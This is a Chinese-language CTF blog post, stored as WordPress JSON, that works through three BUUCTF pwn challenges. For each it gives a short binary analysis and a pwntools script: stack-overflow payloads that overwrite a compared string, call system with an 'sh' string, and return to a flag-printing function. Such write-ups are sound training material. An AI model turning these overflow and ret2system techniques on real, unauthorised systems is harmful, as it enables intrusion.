{"id":147,"date":"2025-07-23T14:46:12","date_gmt":"2025-07-23T06:46:12","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=147"},"modified":"2025-07-23T14:46:13","modified_gmt":"2025-07-23T06:46:13","slug":"buuctfmrctf2020_easyoverflow%e3%80%81wustctf2020_getshell_2%e3%80%81bbys_tu_2016","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/23\/buuctfmrctf2020_easyoverflow%e3%80%81wustctf2020_getshell_2%e3%80%81bbys_tu_2016\/","title":{"rendered":"buuctf:mrctf2020_easyoverflow\u3001wustctf2020_getshell_2\u3001bbys_tu_2016"},"content":{"rendered":"\n


1\u3001mrctf2020_easyoverflow\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


checksec\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u633a\u5413\u4eba\u7684\uff0c\u770b\u770b\u4ee3\u7801\u5427<\/p>\n\n\n\n

\u4f46\u662f\u770b\u5230\u6709\u540e\u95e8\u5c31\u6ca1\u4e8b\u4e86<\/p>\n\n\n\n

main:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u662f\u8981\u6ee1\u8db3\u4ec0\u4e48\u6761\u4ef6\u624d\u6267\u884c\uff0c\u6240\u4ee5\u5173\u952e\u5728check\u51fd\u6570<\/p>\n\n\n\n

check:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u8ba9i=strlen(fake_flag)<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5728main\u51fd\u6570\u4e2d\u8f93\u5165\u5230v4\uff0c\u6bd4\u8f83\u662fv5<\/p>\n\n\n\n

v4\u8dddebp0x70,v5\u8dddebp0x40,\u601d\u8def\u5c31\u662f\u57280x40\u4e2d\u5199\u5165n0t_r3@11y_f1@g\uff0c\u5176\u4ed6\u586b\u5145a\u5373\u53ef\uff0c\u6ce8\u610f\u586b\u5145\u7684\u987a\u5e8f\u3002<\/p>\n\n\n\n

2\u3001mrctf2020_easyoverflow\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27247)\n\npayload=b'a'*(0x70-0x40)+b'n0t_r3@11y_f1@g'\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001wustctf2020_getshell_2\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

checksec:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
32\u4f4d\u5f00\u4e86NX<\/p>\n\n\n\n
\u6709\u8fd9\u4e2a<\/p>\n\n\n\n
system(“\/bbbbbbbbin_what_the_f?ck__–??\/sh”)<\/p>\n\n\n\n
\u4f46\u662f\u540e\u9762\u7684\u53c2\u6570\u80af\u5b9a\u662f\u4e0d\u884c\u7684\uff0c\u53ef\u4ee5\u7528ROPgadget\u627esh<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sh=0x08048670<\/p>\n\n\n\n
\u6ce8\u610fsystem\u7684\u5730\u57400x8048529 (call system)<\/p>\n\n\n\n
\u7528shell\u7684\u5730\u5740system\u7684\u53c2\u6570\u5c31\u4e0d\u5bf9\uff0c\u4e5f\u4e0d\u7528system\u7684plt\u5730\u5740<\/p>\n\n\n\n
\u770b\u770b\u6808\u6ea2\u51fa\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
0x18+4<\/p>\n\n\n\n
\u76f4\u63a5\u505a\u5c31\u597d\u4e86<\/p>\n\n\n\n
4\u3001wustctf2020_getshell_2\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26874)\n\nsys=0x8048529 \nsh=0x08048670\n\npayload=b'a'*(0x18+4)+p32(sys)+p32(sh)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001bbys_tu_2016\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

checksec:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd8\u662f32\u4f4dNX,\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
main\u51fd\u6570\u8bf4\u8fd9\u4e2a\u7a0b\u5e8f\u997f\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u53ef\u4ee5\u6808\u6ea2\u51fa0xc+4<\/p>\n\n\n\n
printFlag\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u91cc\u53ef\u4ee5\u8f93\u51faflag,\u5730\u5740\u8fd4\u56de\u5230\u8fd9\u91cc\u5c31\u884c0x804856D\uff0c\u5f88\u7b80\u5355<\/p>\n\n\n\n
6\u3001bbys_tu_2016\u5b9e\u64cd<\/h2>\n\n\n\n
wtf?\u5c45\u7136\u6253\u4e0d\u901a\uff0c\u53ea\u6709gdb\u770b\u770b\u504f\u79fb\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u91cd\u65b0\u8bd5\u8bd5\uff1a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28979)\n\nprintflag=0x804856D\n\npayload=b'a'*24+p32(printflag)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u5230\u8fd9\u513f\u5427\uff0c\u53bb\u770b\u770bctfshow<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001mrctf2020_easyoverflow\u5206\u6790 checksec\uff1a \u633a\u5413\u4eba\u7684\uff0c\u770b\u770b\u4ee3\u7801\u5427 \u4f46\u662f\u770b\u5230\u6709\u540e\u95e8 […]<\/p>\n","protected":false},"author":1,"featured_media":170,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-147","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/147","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=147"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/147\/revisions"}],"predecessor-version":[{"id":169,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/147\/revisions\/169"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/170"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=147"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=147"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}